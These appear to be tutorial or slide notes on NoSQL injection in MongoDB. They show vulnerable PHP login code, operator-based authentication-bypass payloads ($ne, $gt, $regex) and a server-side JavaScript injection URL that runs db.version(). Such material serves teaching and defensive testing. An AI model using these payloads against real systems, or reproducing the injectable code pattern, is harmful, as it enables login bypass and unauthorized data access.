# NoSQL Injections

# NoSQL Databases

- Document-Oriented
- Object Oriented
- Hash-Tables
- Graph based
- All other databases which not SQL

# MongoDB

- Document-Oriented
- Fast
- Popular
- JavaScript

# Simple Injection

```
function checkPass($login, $password)
{
	global $coll;
	$res = $coll->findOne(array('login' => $login, 'password' => $password));
	if($res):
	return true;
	endif;
}
checkPass($_POST["login"], $_POST["password"])
```

# Simple Injection

Injection:

login=admin&password[$ne]=1&submit=Submit

Server will get it like:

```
{
        "login: "admin" ,
        "password": {"$ne": "1"}
    }
```

# Some Useful Operators

$ne - not equal

$gt - greater

$lt - less

$gte/$lte - greater or equal / less or equal

$regex - regular expression

user=admin&pass[$ne]=1

user=admin&pass[$gt]=undefined

user=admin&pass[$lt]=undefined

user=admin&pass[$gte]=undefined

user=admin&pass[$regex]=ad.{3}

user=admin&pass[$regex]=^a

# Server Side Java Script

Inserting values using JS:

$q = "function() { var loginn = '$login';

var passs = '$pass'; db.members.insert({id : 2,login : loginn, pass : passs}); }";

Output like:

print("You username: <b>".$user["login"]);

print("You password: <b>".$user["pass"]);

# Server Side Java Script

Normal request:

http://target.com/?login=admin&password=StRoNg_AdMiN_pAsSwOrD

< Your login: admin

< Your password: StRoNg_AdMiN_pAsSwOrD

Injection:

http://target.com/?login=admin&password=1'; var loginn = db.version(); var test='

Result query:

function() { var loginn = '$login';

var passs = '1'; var loginn = db.version(); var test=''; db.members.insert({id : 2,

login : loginn, pass : passs}); }

< Your login: <username>

< Your password: <DB version>